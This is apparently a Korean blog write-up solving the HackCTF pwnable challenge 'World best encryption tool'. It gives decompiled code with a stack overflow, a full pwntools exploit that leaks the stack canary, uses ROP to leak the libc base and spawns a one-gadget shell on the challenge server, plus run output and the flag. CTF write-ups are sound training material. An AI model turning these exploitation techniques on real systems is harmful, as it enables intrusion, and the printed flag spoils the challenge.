[HackCTF / pwnable] World best encryption tool

2020. 6. 10. 14:53Wargame & CTF/HackCTF

HackCTF - World best encryption tool

Summary

  • 64bit

  • rop

Analysis

int __cdecl main(int argc, const char **argv, const char **envp)
{
 unsigned int i; // [rsp+8h] [rbp-88h]
 char s1; // [rsp+Ch] [rbp-84h]
 char src[64]; // [rsp+10h] [rbp-80h]
 char dest; // [rsp+50h] [rbp-40h]
 unsigned __int64 v8; // [rsp+88h] [rbp-8h]

 v8 = __readfsqword(0x28u);
 setvbuf(_bss_start, 0LL, 2, 0LL);
 do
{
   puts("Your text)");
   __isoc99_scanf("%s", src);
   for ( i = 0; i <= 0x31; ++i )
     src[i] ^= 0x1Cu;
   strncpy(&dest, src, 0x39uLL);
   printf("Encrypted text)\n%s", &dest);
   puts("\nWanna encrypt other text? (Yes/No)");
   __isoc99_scanf("%s", &s1);
}
 while ( !strcmp(&s1, "Yes") );
 if ( strcmp(&s1, "No") )
   printf("It's not on the option", "No");
 return 0;
}

"Your text)" 입력받는 곳에서 카나리값을 얻고 "Wanna encrypt other text? (Yes/No)"에서 rop로 libcbase를 얻고 다시 main으로 돌려서 oneshot gadget으로 쉘을 따면 된다.

Exploit

from pwn import *

e = ELF("./World_best_encryption_tool")
#p = process("./World_best_encryption_tool")
p = remote("ctf.j0n9hyun.xyz", 3027)
libc = e.libc

oneshot = 0xf1147
pr = 0x00000000004008e3

p.recvuntil(")\n")
payload = "A"*0x39
p.sendline(payload)
p.recvuntil("AAAAAAA")
canary = u64("\x00" + p.recv(7))
print "canary : " + hex(canary)

payload = "A"*(0x84-0x8)
payload += p64(canary)
payload += "A"*0x8
payload += p64(pr)
payload += p64(e.got["setvbuf"])
payload += p64(e.plt["puts"])
payload += p64(e.symbols["main"])

p.sendline(payload)
setvbuf_addr = u64(p.recvuntil("\x7f")[-6:] + "\x00\x00")
libcbase = setvbuf_addr - libc.symbols["setvbuf"]
print "libcbase : " + hex(libcbase)

p.recvuntil(")\n")
payload = "A"*0x39
p.sendline(payload)
p.recvuntil("AAAAAAA")
canary = u64("\x00" + p.recv(7))
print "canary : " + hex(canary)

payload = "A"*(0x84-0x8)
payload += p64(canary)
payload += "A"*0x8
payload += p64(libcbase + oneshot)

p.sendline(payload)
p.recvuntil("option")
p.interactive()

Flag

cg10036@cg10036-virtual-machine:~/CTF/hackCTF/World_best_encryption_tool$ p ex.py 
[*] '/home/cg10036/CTF/hackCTF/World_best_encryption_tool/World_best_encryption_tool'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     No PIE (0x400000)
[+] Opening connection to ctf.j0n9hyun.xyz on port 3027: Done
[*] '/lib/x86_64-linux-gnu/libc.so.6'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
canary : 0x38cc634a744b1c00
libcbase : 0x7fce2399d000
canary : 0x38cc634a744b1c00
[*] Switching to interactive mode
$ cat flag
HackCTF{I_th0ught_X0R_is_the_w0rld_b3st_Encrypti0n}


'Wargame & CTF > HackCTF' 카테고리의 다른 글

[HackCTF / pwnable] j0n9hyun secret  (0) 2020.06.10
[HackCTF / pwnable] Unexploitable_3  (0) 2019.12.09
[HackCTF / pwnable] Beginner_Heap  (0) 2019.11.26
[HackCTF / pwnable] SysROP  (0) 2019.10.28
[HackCTF / pwnable] RTC  (0) 2019.10.22